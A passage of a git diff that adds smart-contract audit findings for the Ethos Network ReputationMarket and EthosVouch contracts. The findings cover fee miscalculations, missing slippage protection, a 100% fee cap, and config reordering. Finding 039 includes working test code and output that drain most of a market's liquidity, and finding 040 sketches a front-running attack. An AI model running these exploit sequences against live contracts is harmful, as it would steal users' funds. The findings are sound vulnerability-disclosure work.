DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` + +Let's consider the function `sellVotes`. + +This function has two variables that are responsible for the number of ether. +`fundsReceived` - the amount for which all votes are sold. The protocol sends this amount to the seller. + +`protocolFee` - protocol commission from the sale. It goes to `protocolFeeAddress`. + +However, protocolFee must be subtracted from fundsReceived, otherwise it violates the counting of all funds on the contract, namely there is a miscalculation between marketFunds and the actual amount of eth on the contract. + +Let's look at an example. +Let there be 200 eth on the contract. MarketFunds = 200. User sells votes for 100 ETH (fundsReceived = 100ETH. ProtocolFee = 5 ETH.). + +Thus, after the function is executed, marketFunds = 200 - fundsReceived = 100. However, there will be only 95 on the contract. Since 100 will go to the buyer and 5 to the protocolFeeAddress. + +Thus, after this, calling the `withdrawGraduatedMarketFunds` function will DOS due to lack of funds. + +### Root Cause + +ProtocolFee should be subtracted from fundsReceived. Roughly speaking - the user should pay the commission, not the protocol. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- DoS functions withdrawGraduatedMarketFunds. +- protocol loses commissions (loss of funds) + +### PoC + +_No response_ + +### Mitigation + +`fundsReceived -= protocolFee` \ No newline at end of file diff --git a/035.md b/035.md new file mode 100644 index 0000000..048d3f3 --- /dev/null +++ b/035.md @@ -0,0 +1,51 @@ +Main Honeysuckle Tarantula + +Medium + +# No slippage protection for `sellVotes` function + +### Summary + +The protocol added slippage protection for the `buyVotes` function and now the user cannot buy less than he specified. +However, the [`sellVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) function does not protect the user in this way. Therefore, the user can get much less eth from selling his votes than he should. + +Let's consider two scenarios. +The first is a normal market situation, when the user's buy order is executed at a different price than expected. The sell price falls if before that someone either sold the given vote or bought the opposite vote. During periods of strong market activity, users can lose money on slippage. + +The second is the sandwich attack. Since it is Base L2 - its probability is low, but due to the discrete nature of price changes in the protocol - impact = high. +1) A user places a transaction to sell TRUSTED votes. +2) Malicious user realises that this transaction will lower the price of TRUSTED votes and does the following. + +He sells all his TRUSTED votes before the user's transaction. +He then skips the user transaction. He will already be selling at a lower price than expected. +Then the malicious user buys back all his TRUSTED votes. Thus making money on the user's transaction, but harming the user. + +### Root Cause + +No slippage protection for sellVotes + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The user may receive less eth than expected due to market fluctuations. + +It also opens up the possibility for very profitable sandwich attacks. + +### PoC + +_No response_ + +### Mitigation + +Add minimal fundsReceived for every sell order \ No newline at end of file diff --git a/036.md b/036.md new file mode 100644 index 0000000..1565e55 --- /dev/null +++ b/036.md @@ -0,0 +1,39 @@ +Square Flint Grasshopper + +Medium + +# Possible storage collision during upgrade + +### Summary + +Such as `ReputationMarket.sol` it is recommend to use `ReentrancyGuardUpgradeable` instead of `ReentrancyGuard` and make `__ReentrancyGuard_init()` in `initialize` function. It is need such as ReentrancyGuard contract stores variable `_status` in the state, so id new version of the contract will be have another inheritance layout it may cause of the storage collision. + +### Root Cause + +In [ReputationMarket.sol:36](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L36C62-L36C77) is inheritance from ReentrancyGuard instead of ReentrancyGuardUpgradeable + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Admin would like to upgrade contract +2. New implementation have changed inheritance layout or new contracts added to inherit before ReentrancyGuard +3. Storage collision + +### Impact + +The protocol will be broken and it may be cause of loss some data from storage + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/037.md b/037.md new file mode 100644 index 0000000..65dcb3a --- /dev/null +++ b/037.md @@ -0,0 +1,88 @@ +Dapper Amber Starfish + +Medium + +# Missing Slippage Protection in Vote Selling Mechanism + +### Summary + +The absence of slippage protection in the sellVotes function will cause an unfair price execution vulnerability for vote sellers as market price fluctuations between transaction submission and execution can result in worse-than-expected trade execution prices. + + + +### Root Cause + +While Base blockchain's architecture prevents traditional front-running attacks, market prices can still change between when a user submits their transaction and when it gets executed. + +The sellVotes function in ReputationMarket contract lacks slippage protection, unlike its buying counterpart. This oversight allows transactions to be executed at potentially unfavorable prices due to natural market movements during the period between transaction submission and execution. + + +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +### Internal pre-conditions + +1. User must have votes to sell in the market +2. Market must be active (not graduated) +3. Market must exist + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Alice initiates a transaction to sell votes at expected price X +2. During the period before Alice's transaction is executed: +- Multiple users make trades +- Market price moves significantly downward +3. Alice's transaction gets executed: +- The current market price is now much lower than when Alice submitted +- Alice's votes are sold at this lower price + + +### Impact + +Financial loss for users due to unfavorable price execution + + +### PoC + +_No response_ + +### Mitigation + +Add slippage protection to the sellVotes function +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount, + uint256 minExpectedFunds, // Add minimum expected funds parameter +) public whenNotPaused activeMarket(profileId) nonReentrant { + +... + // Add slippage check + if (fundsReceived < minExpectedFunds) { + revert SlippageLimitExceeded(); + } + + +``` \ No newline at end of file diff --git a/038.md b/038.md new file mode 100644 index 0000000..9b0f178 --- /dev/null +++ b/038.md @@ -0,0 +1,121 @@ +Recumbent Shamrock Barracuda + +Medium + +# Multiple fee miscalculation leads to inaccurate implementation of the fee model + +## Summary +The `applyFees` function miscalculates cumulative fees when multiple fees (protocol, donation, vouchers pool) are applied. This function does not guarantee that the fees will be a percentage of the actual deposit amount as it calculates each fee independently based on the original amount. +This leads to incorrect fee distributions, resulting in fee overcharges and deposit undercharges and potential fund misallocations. + +The `calcFee` function is to ensure that the sum of the deposit amount and the fee is the total fund, and the fee is a percentage of the deposit amount. +**In short, the fee is not a percentage of the total funds, but a percentage of the funds that are useful to the user, that is, the deposit amount.** +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975-L989 + +But, the following equation does not actually hold true: +`protocolFee = toDeposit * entryProtocolFeeBasisPoints / BASIS_POINT_SCALE` +`donationFee = toDeposit * entryDonationFeeBasisPoints / BASIS_POINT_SCALE` +`vouchersPoolFee = toDeposit * entryVouchersPoolFeeBasisPoints / BASIS_POINT_SCALE` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936-L938 + +## Root Cause +The root cause is that the `calcFee` function does not calculate the fee from the actual value of `toDeposit` obtained by deducting the entire fee, but applies the individual fees independently to the original amount. +This is because the fee calculation includes not only the funds actually used by the user, i.e. the deposit amount, but also other types of fees. +**In short, the protocol charges users fees even for the funds that are paid as fees for other type of fees.** + +## PoC (Proof of Concept) +**Example Scenario:** +- Transaction amount: `1e18` +- Fees: (according to vouch.fees.test.ts) + - `entryProtocolFeeBasisPoints = 50` (0.5%) + - `entryDonationFeeBasisPoints = 150` (1.5%) + - `entryVouchersPoolFeeBasisPoints = 200` (2%) + +**Current Implementation:** +1. Protocol Fee: `calcFee(1e18, 50) = 4,975,124,378,109,453` +2. Donation Fee: `calcFee(1e18, 150) = 14,778,325,123,152,710` +3. Vouchers Pool Fee: `calcFee(1e18, 200) = 19,607,843,137,254,902` + +Total fees: `4,975,124,378,109,453 + 14,778,325,123,152,710 + 19,607,843,137,254,902 = 39,361,292,638,517,065` +Remaining for deposit: `1e18 - 39,361,292,638,517,065 = 960,638,707,361,482,935` + +**Mismatch:** +1. Protocol Fee: `960,638,707,361,482,935 * 50 / 1e18 = 4,803,193,536,807,414` => diff with `4,975,124,378,109,453` +2. Donation Fee: `960,638,707,361,482,935 * 150 / 10000 = 14,409,580,610,422,244` => diff with `14,778,325,123,152,710` +3. Vouchers Pool Fee: `960,638,707,361,482,935 * 200 / 10000 = 19,212,774,147,229,658` => diff with `19,607,843,137,254,902` + +User's total loss of toDeposit: `(4,975,124,378,109,453 - 4,803,193,536,807,414)` + `(14,778,325,123,152,710 - 14,409,580,610,422,244)` + `(19,607,843,137,254,902 - 19,212,774,147,229,658)` = `935,744,344,057,749` +Percentage: `935,744,344,057,749` * `100` / `1e18` = 0.094% + +**This means that 0.094% of user funds were paid as fees instead of the deposit amount.** + +## Impact +Failure to accurately implement the fee model has the following impacts: +- **Excess fees are sent to the protocol, donation pool or voucher pool:** +- **The user's deposit amount will be reduced accordingly:** + +**The severity is rated as medium based on the estimate of user loss.** + +## Mitigation + +**Refactor Fee Calculation to Aggregate and Distribute Proportionally** + +Modify the `applyFees` function to calculate the **total fee** first, using the combined basis points of all applicable fees. Then distribute the total fee proportionally to each component (e.g., protocol, donation, vouchers pool). This ensures accurate allocation without requiring sequential calculations. + +### Implementation Steps: +1. **Calculate Total Fee** + Use the sum of all basis points for the relevant fees to calculate the total fee in one step. + +2. **Distribute Total Fee Proportionally** + Allocate the total fee to each fee component based on its respective basis points. + +**Although it is not reflected in the code, first check if `vouchersPoolFee` is needed and reflect `entryVouchersPoolFeeBasisPoints` in `totalBasisPoints` only if necessary.** + +**Updated Implementation:** + +```solidity +function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId +) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Aggregate all entry fees + uint256 totalBasisPoints = entryProtocolFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints; + + // Calculate total fee + totalFees = calcFee(amount, totalBasisPoints); + + // Proportional distribution of total fees + uint256 protocolFee = (totalFees * entryProtocolFeeBasisPoints) / totalBasisPoints; + uint256 donationFee = (totalFees * entryDonationFeeBasisPoints) / totalBasisPoints; + uint256 vouchersPoolFee = (totalFees * entryVouchersPoolFeeBasisPoints) / totalBasisPoints; + + // Distribute fees + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); + } + if (vouchersPoolFee > 0) { + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + + toDeposit = amount - totalFees; + + } else { + // Exit fee calculation remains unchanged + totalFees = calcFee(amount, exitFeeBasisPoints); + if (totalFees > 0) { + _depositProtocolFee(totalFees); + } + toDeposit = amount - totalFees; + } + + return (toDeposit, totalFees); +} +``` \ No newline at end of file diff --git a/039.md b/039.md new file mode 100644 index 0000000..c3b11d7 --- /dev/null +++ b/039.md @@ -0,0 +1,194 @@ +Itchy Ginger Loris + +High + +# Market liquidity can be drained due to inefficient pricing formula + +## Summary +Unlike constant formula AMMs, the Ethos pricing formula is designed to maintain a constant base price, not reserves/liquidity. That leads to the possibility of stealing market liquidity by manipulating the supply of votes. By creating an imbalanced position of trusted and distrusted votes, an attacker can craft a state where they can gain more from selling than was spent on them. + +That leads to stolen market liquidity and, as a result, the inability of other vote holders to sell their votes. + +Additionally, that breaks the following README's statement: + +> Reputation Markets must never sell the initial votes. **They must never pay out the initial liquidity deposited. The only way to access those funds is to graduate the market.** + +## Vulnerability Detail + +As can be seen from the code snippet below, this formula ensures that at any point of time, prices of trusted votes and distrusted votes sum up to `basePrice`: + + +```solidity +File: /ethos/packages/contracts/contracts/ReputationMarket.sol#L920 + + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` + +However, this formula doesn't account for market liquidity (which is tracked via the `marketFunds[profileId]` variable), making it susceptible to manipulations. + +## Proof of Concept +Given the market created with 2 votes and 1 ETH basePrice: + +1. User buys 1 distrust vote, price = 1.0 ETH * 1 / 2 = 0.5 ETH +2. User buys 1st trust vote , price = 1.0 ETH * 1 / 3 = 0.333 ETH +3. User buys 2nd trust vote , price = 1.0 ETH * 2 / 4 = 0.5 ETH +Total spent: 1.333 ETH + +4. User sells distrust vote, price = 1.0 ETH * 1 / 4 = 0.25 ETH +5. User sells 1st trust vote, price = 1.0 ETH * 2 / 3 = 0.66 ETH +5. User sells 2nd trust vote, price = 1.0 ETH * 1 / 2 = 0.5 ETH +Total received: 1.416 ETH + +User gains (and thus the market loses): 0.083 ETH + + +## Coded PoC #1 + +This PoC follows the same example as mentioned in the section above. + +Insert new test into "Very high price limits" section of the file https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/test/reputationMarket/rep.price.test.ts#L135: + +```typescript + it("market_drained_poc1", async () => { + const userBalanceBefore = await ethers.provider.getBalance(userA.signer.address); + console.log(`UserA balance (initial) : ${ethers.formatEther(userBalanceBefore)}`); + console.log(`market liquidity (initial) : ${ethers.formatEther(await reputationMarket.marketFunds(DEFAULT.profileId))}`); + + // buy 1 distrust + await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: ethers.parseEther("1"), isPositive: false }); + let votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId); + + // buy trust + await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: ethers.parseEther("0.6"), isPositive: true }); + await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: ethers.parseEther("0.6"), isPositive: true }); + votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId); + + // sell distrust + await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: votesOwned.distrustVotes, isPositive: false }); + votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId); + + // sell trust + await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: BigInt(1) /*votesOwned.trustVotes*/, isPositive: true }); + await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: BigInt(1) /*votesOwned.trustVotes*/, isPositive: true }); + votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId); + const userBalanceAfterSell2 = await ethers.provider.getBalance(userA.signer.address); + console.log(`UserA balance: ${ethers.formatEther(userBalanceAfterSell2)}; gain : ${ethers.formatEther(userBalanceAfterSell2 - userBalanceBefore)}`) + console.log(`market liquidity : ${ethers.formatEther(await reputationMarket.marketFunds(DEFAULT.profileId))}`); + }); +``` + +Result: + +```bash +$ npx hardhat test --grep "market_drained_poc1" + + + ReputationMarket Base Price Tests + Very high price limits +UserA balance (initial) : 2000.0 +market liquidity (initial) : 1.0 +UserA balance: 2000.08245115269279307; gain : 0.08245115269279307 +market liquidity : 0.916666666666666667 + ✔ market_drained_poc1 (62ms) + + + 1 passing (2s) +``` + +## Coded PoC #2 + +This PoC demonstrates how 99% of market liquidity can be stolen. + +Insert new test into "Very high price limits" section of the file https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/test/reputationMarket/rep.price.test.ts#L135: + +```typescript + it("market_drained_poc2", async () => { + const amounToSpend_N = ethers.parseEther('100'); + const amounToSpend_P = ethers.parseEther('220'); + console.log(`market liquidity (initial) : ${ethers.formatEther(await reputationMarket.marketFunds(DEFAULT.profileId))}`); + + const userBalanceBefore = await ethers.provider.getBalance(userA.signer.address); + console.log(`UserA balance (initial) : ${ethers.formatEther(userBalanceBefore)}`); + + // buy negative shares + await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: amounToSpend_N, isPositive: false }); + + // buy positive shares + await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: amounToSpend_P, isPositive: true }); + + const userBalanceAfterBuy = await ethers.provider.getBalance(userA.signer.address); + console.log(`UserA balance after purchases: ${ethers.formatEther(userBalanceAfterBuy)}`); + + let votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId); + + // sell negative shares + await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: votesOwned.distrustVotes, isPositive: false }); + + const marketLiq = await reputationMarket.marketFunds(DEFAULT.profileId); + console.log(`market liquidity (neg sold) : ${ethers.formatEther(marketLiq)}`); + + // finding out how many positive votes we can sell without reverting due to arithmetic underflow + let maxSell = Number(votesOwned.trustVotes); + let minSell = 0; + + let sell = 0; + while (minSell <= maxSell) { // binary search + sell = minSell + Math.trunc((maxSell - minSell) / 2); + + let res = await reputationMarket.connect(userA.signer).simulateSell(DEFAULT.profileId, true, sell); + if (res.fundsReceived > marketLiq) { + maxSell = sell - 1; + } else { + minSell = sell + 1; + res = await reputationMarket.connect(userA.signer).simulateSell(DEFAULT.profileId, true, minSell); + if (res.fundsReceived >= marketLiq) break; + } + } + + console.log(`max sell votes count: ${sell}`); + await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: BigInt(sell), isPositive: true }); + console.log(`market liquidity (pos sold) : ${ethers.formatEther(await reputationMarket.marketFunds(DEFAULT.profileId))}`); + + const userBalanceFinal = await ethers.provider.getBalance(userA.signer.address); + console.log(`UserA balance (final)) : ${ethers.formatEther(userBalanceFinal)}`); + console.log(`UserA profit : ${ethers.formatEther(userBalanceFinal - userBalanceBefore)}`); + }); +``` + +Result: + +```bash +$ npx hardhat test --grep "market_drained_poc2" + + + ReputationMarket Base Price Tests + Very high price limits +market liquidity (initial) : 1.0 +UserA balance (initial) : 2000.0 +UserA balance after purchases: 1680.513571558216838385 +market liquidity (neg sold) : 308.332301763408691446 +max sell votes count: 310 +market liquidity (pos sold) : 0.006707300639778622 +UserA balance (final)) : 2000.991118144525447625 +UserA profit : 0.991118144525447625 + ✔ market_drained_poc2 (389ms) + + + 1 passing (2s) +``` + +## Impact + +* Market funds drained +* Other vote holders cannot sell. + +## Code Snippet + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923 + +## Recommendation + +Reconsider the formula, it must account for the available liquidity and should not allow it to be drained. Constant `basePrice` must not play important role in the new formula. diff --git a/040.md b/040.md new file mode 100644 index 0000000..6684c88 --- /dev/null +++ b/040.md @@ -0,0 +1,67 @@ +Odd Orchid Capybara + +High + +# Voucher actor will front-run `slash` operation by voucher actor + +### Summary + +A missing check for pending slash operations will cause a potential loss of slashed funds for the protocol as the voucher actor will front-run the slash operation by calling the +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452 +function. + +### Root Cause + +In EthosVouch.sol function does not check for pending slash operations, allowing the voucher actor to front-run the slash operation. + +### Internal pre-conditions + +1. Voucher actor needs to call `unvouch` to set `archived` to `true` +2. Slasher needs to call [slash] to set [balance] to be reduced by the slash percentage. + +### External pre-conditions + +None + +### Attack Path + +1. Voucher actor calls via front-run [unvouch] to withdraw the staked amount. +2. Slasher calls [slash] to reduce the balance, but the vouch is already archived. + +### Impact + +The protocol suffers a potential loss of slashed funds. The attacker gains the full staked amount without any reduction due to slashing. Additionally, this can lead to a loss of trust in the protocol's slashing mechanism, as malicious actors can avoid penalties by front-running the slash operation. + +### PoC + +```solidity +// Pseudo-code for attack steps + +// Step 1: Voucher actor calls unvouch to withdraw the staked amount +function attackStep1() { + // Assume vouchId is known + uint256 vouchId = 1; + EthosVouch.unvouch(vouchId); +} + +// Step 2: Slasher calls slash to reduce the balance, but the vouch is already archived +function attackStep2() { + // Assume authorProfileId and slashBasisPoints are known + uint256 authorProfileId = 1; + uint256 slashBasisPoints = 100; // 1% + EthosVouch.slash(authorProfileId, slashBasisPoints); +} + +// Execute the attack +function executeAttack() { + attackStep1(); // Voucher actor front-runs the slash operation + attackStep2(); // Slasher attempts to slash, but the vouch is already archived +} +``` + +### Mitigation + +1. Add a Pending Slash Check: Introduce a mechanism to check for pending slash operations before allowing the unvouch function to proceed. This can be done by maintaining a mapping of pending slashes and checking it within the unvouch function. + +2. Delay Unvouching: Implement a delay mechanism where unvouching can only be performed after a certain period, allowing enough time for any pending slash operations to be executed. + diff --git a/041.md b/041.md new file mode 100644 index 0000000..420e27f --- /dev/null +++ b/041.md @@ -0,0 +1,47 @@ +Cheesy Aegean Squirrel + +Medium + +# Maximum Total Fees Mismatch Between README and Implementation + +### Summary + +Incorrect `MAX_TOTAL_FEES` constant value will cause excessive fee charges (up to 100% instead of 10%) for users as admins can set fees much higher than documented. + +### Root Cause + +In EthosVouch.sol +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120 +the constant `MAX_TOTAL_FEES` is set to 10000 basis points (100%) while documentation explicitly states maximum total fees should not exceed 10%. +`uint256 public constant MAX_TOTAL_FEES = 10000; // Allows 100% fees` + +This constant is used in [checkFeeExceedsMaximum](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L996) to assert that the total fee should be greater than this constant. Which in this case will allow fee to be more than 10%, it can reach to 99.99% + +### Internal pre-conditions + +Admin needs to call any of this function +setEntryProtocolFeeBasisPoints +setEntryDonationFeeBasisPoints +setEntryVouchersPoolFeeBasisPoints +setExitFeeBasisPoints +to set fees above 10% + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users could suffer up to a 90% higher loss of funds than documented through excessive fee settings. This dramatically changes the economics and trust assumptions of the protocol. + +### PoC + +_No response_ + +### Mitigation + +uint256 public constant MAX_TOTAL_FEES = 1000; // 10% maximum \ No newline at end of file diff --git a/042.md b/042.md new file mode 100644 index 0000000..33a0ae2 --- /dev/null +++ b/042.md @@ -0,0 +1,53 @@ +Cheery Mustard Swallow + +High + +# `EthosVouch` has an incorrect Max fee configuration, total fees are to not be more than 10% but the `MAX_TOTAL_FEES` is set at 100%, making it possible to charge users higher than expected in fees. + +### Summary + +There is a critical discrepancy between the protocol's documentation regarding Max Total Fees, and the actual implementation of maximum total fees in the smart contract, as the readme clearly states **_"For both contracts: Maximum total fees cannot exceed 10%"_** However, the code permits fees up to 100%, which deviates from the stated intention. When Admin sets the various fee, there is potential to go higher than expected as the `checkFeeExceedsMaximum` will not limit total fees to 10% as was intended, potentially deducting up to 100% in vouch fees if admin was not careful enough with the parameter values of the various fees charged. This oversight creates a significant risk where users could be charged fees far beyond their expectations, leading to the possibility of total loss of funds. + +### Root Cause + +In `EthosVouch.sol:120`, MAX_TOTAL_FEES is set to 10 000 instead of 1000. + +```solidity + uint256 public constant MAX_TOTAL_FEES = 10000; +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. When Admin sets the various fee, there is potential to go higher than expected as the `checkFeeExceedsMaximum` will not limit total fees at 10%, potentially deducting up to 100% in user fees if admin was not careful enough. +2. User A vouches for User B. +3. Due to the incorrectly set MAX_TOTAL_FEES, User A is subjected to an unexpectedly high fee. +4. This fee could reach up to 100%, causing User A to lose their entire staked amount. + +### Impact + +1. Unintended Loss of Funds: +Users may lose their entire stake due to fees being set up to 100%. +2. Breach of User Expectations: +Users expect a maximum fee of 10% as per the documentation, but the actual implementation allows much higher fees. +3. Loss of Trust in the Protocol: +The discrepancy undermines user trust and the economic model stated by the protocol + +### PoC + +Can be seen [here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120) + +### Mitigation + +Modify the MAX_TOTAL_FEES constant to correctly represent 10%: + +```solidity +uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/043.md b/043.md new file mode 100644 index 0000000..b58a022 --- /dev/null +++ b/043.md @@ -0,0 +1,78 @@ +Colossal Chiffon Urchin + +Medium + +# Users cannot unvouch at any time + +### Summary + +Whenever protocol is paused - users will not be able to withdraw funds + +### Root Cause + +According to [docs/whitepaper](https://whitepaper.ethos.network/ethos-mechanisms/vouch) +> You may withdraw your staked funds at any time by unvouching. + +Which isn't true: + +```solidity + function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; + // remove the vouch from the tracking arrays and index mappings + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` +[contracts/EthosVouch.sol#L452](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452) + +### Internal pre-conditions + +protocol paused contract + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +invariant doesn't hold, users should be able to withdraw funds at any time. User will lose access to funds when protocol paused + +### PoC + +_No response_ + +### Mitigation + +```diff +- function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { ++ function unvouch(uint256 vouchId) public nonReentrant { + Vouch storage v = vouches[vouchId]; +``` \ No newline at end of file diff --git a/044.md b/044.md new file mode 100644 index 0000000..6fe8ece --- /dev/null +++ b/044.md @@ -0,0 +1,127 @@ +Low Cloth Rabbit + +Medium + +# [M-1] Reordering of `marketConfigs` array leads to incorrect market configurations + +### Summary + +In the `ReputationMarket::removeMarketConfig` [function](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L389) when a market configuration is removed, the contract swaps the configuration at the specified index with the last element in the `marketConfigs` array and then removes the last element. This operation reorders the array whenever a configuration other than the last one is removed. As a result, the indices of the remaining configurations change. Since `createMarket(), createMarketWithConfig() and createMarketWithConfigAdmin()` functions rely on indices to select market configurations, users calling these functions may inadvertently create markets with unintended settings, leading to unexpected behavior and potential financial loss. Furthermore, as more `MarketConfigs` are created and removed, the indexes of the configs in the array will keep shuffling around. + +### Root Cause + +The root cause is reordering of the `marketConfigs` array during the removal process. By swapping and popping elements, the contract changes the indices of configurations without updating any references. This practice causes a mismatch between the expected configuration index and the actual configuration parameters when users attempt to create new markets. + +### Internal pre-conditions + +N/A + +### External pre-conditions + +N/A + +### Attack Path + +Assume the following scenario +1. We have 5 Tiers. Bronze, Silver, Gold, Platinum and Diamond. Each with `initialLiquidity` 5X bigger than the previous one, starting from 1 ETH `initialLiquidity` for Bronze, all the way to 625 ETH for Diamond. +2. Our array has indexes [0, 1, 2, 3, 4] +3. The admin wants to delete the "Silver" configuration, index 1. It calls the `removeMarketConfig` function. +4. After this function call our array looks like this `Bronze, Diamond, Gold Platinum` or [0, 4, 2, 3] +5. A user calls the `createMarketWithConfig(1)` thinking that they will create a new market with the `Silver` config and `initialLiquidity` of 5 ETH. Instead, what will happen is they will create a `Diamond` tier market and provide 625 ETH `initialLiquidity` instead of 5. + +### Impact + +1. Users may end up transferring more funds than intended as `initialLiquidity` into the market that they just created because different tiers have different `initialLiquidity` requirements and setup parameters. +2. If the user wants to withdraw the excess amount that they sent due to this error, they will incur the exit fee leading to loss of funds for users. In my example above, realizing what just happened, the user attempting to withdraw the 620 excess ETH sent to the contract stands to lose up to 5% of the deposited amount as fees. +3. As more and more markets get created and removed, the indexes of the array's elements will shuffle. Eventually, the Admin may unknowingly end up deleting a `MarketConfig` that they didn't intend to delete. In my example above, if the developer attempts to remove the tier at index 1 again, instead of removing the "Gold" tier, they will remove the "Diamond" tier. +4. The reliability of the contract's behavior is compromised, as the outcome of actions depends on the mutable state of the array indices. + +### PoC + +Add the following test inside the `rep.price.test.ts` file + +```javascript + describe("Market Configurations Reordering", () => { + it("should demonstrate that removing market config reorders configs leading to incorrect market creation", async () => { + // Step 1: Read the current available marketConfigs + let marketConfigCount = await reputationMarket.getMarketConfigCount(); + console.log("Market config count is: ", marketConfigCount); + + // Fetch initial market configurations + const initialMarketConfigs = []; + for (let i = 0; i < marketConfigCount; i++) { + const config = await reputationMarket.marketConfigs(i); + initialMarketConfigs.push(config); + console.log("Initial config is: ", config); + } + + // Step 2: Remove market config at index 0 + await reputationMarket.connect(deployer.ADMIN).removeMarketConfig(0); + + // Fetch updated market configurations + const updatedMarketConfigs = []; + const updatedMarketConfigCount = await reputationMarket.getMarketConfigCount(); + for (let i = 0; i < updatedMarketConfigCount; i++) { + const config = await reputationMarket.marketConfigs(i); + updatedMarketConfigs.push(config); + console.log("Updated config is: ", config); + } + + // Step 3: Prove the mismatch + // The configuration at index 0 should now be the one that was at the last index before removal + + // Original configurations 